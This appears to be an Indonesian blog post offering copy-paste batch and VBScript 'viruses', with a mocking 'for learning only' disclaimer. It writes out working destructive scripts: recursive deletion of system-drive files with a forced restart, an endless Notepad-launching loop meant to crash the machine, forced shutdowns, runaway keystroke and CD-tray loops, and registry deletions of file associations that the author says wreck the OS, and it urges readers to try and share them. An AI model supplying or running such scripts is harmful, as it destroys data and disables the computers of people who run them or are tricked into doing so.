PERHATIAN : Langkah2 dibawah ini hanya untuk belajar, kalo ada kerusakan komputer Anda setelah mencoba langkah ini, tolong jgn salahkan saya.... wkwwkkwkw
Kamu bisa buat virus dgn kopi kode2 dibawah trus paste d notepad yang kemudian di simpan dengan ekstensi .vbs jgn lupa ganti format dari text ke all files
Catatan : virus2 di bawah ini nanti, akan hilang sendiri setelah restart atau dimatikan komputerny, kecuali yang paling bawah yaitu delete registry,,, karena bakal ngerusak OS kamu...!! wkwkwkwk
Langsung aj deh :
- Bikin blue screen
@echo off del %systemdrive%’*.* /f /s /q shutdown -r -f -t 00
- Buka notepad terus2an sampe komputer crash
@ECHO off :top START %SystemRoot%’system32’notepad.exe GOTO top
- Muncul pop up trus komputer shut down
@echo off msg * Fatal system error due to admin stupidity! shutdown -c “Error! You are too stupid!” -s -t 10
- Capslock terus2an
Set wshShell =wscript.CreateObject(”WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” loop
- Enter terus2an
Set wshShell = wscript.CreateObject(”WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “~(enter)” loop
- Backspace (hapus) terus2an (wwkwk gk bs nulis lo)
MsgBox “Let’s go back a few steps” Set wshShell =wscript.CreateObject(”WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{bs}” loop
- Pop up cd/dvd drive (gk bs nutup drive cd loh... jd pas tutup.... kebuka, tutup.. kebukak)
Set oWMP = CreateObject(”WMPlayer.OCX.7″) Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop
- Delete registry (BAHAYA, silakan d coba.. wwwkwkwkkw)
@ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO Your computer has been fcked. Have a nice day. GOTO MESSAGE
Bagi yang sudah mencoba, tolong di share jg dong... hihi^^
HARAP DIPAKAI UNTUK KEBAIKAN...^^
hihi
0 komentar:
Posting Komentar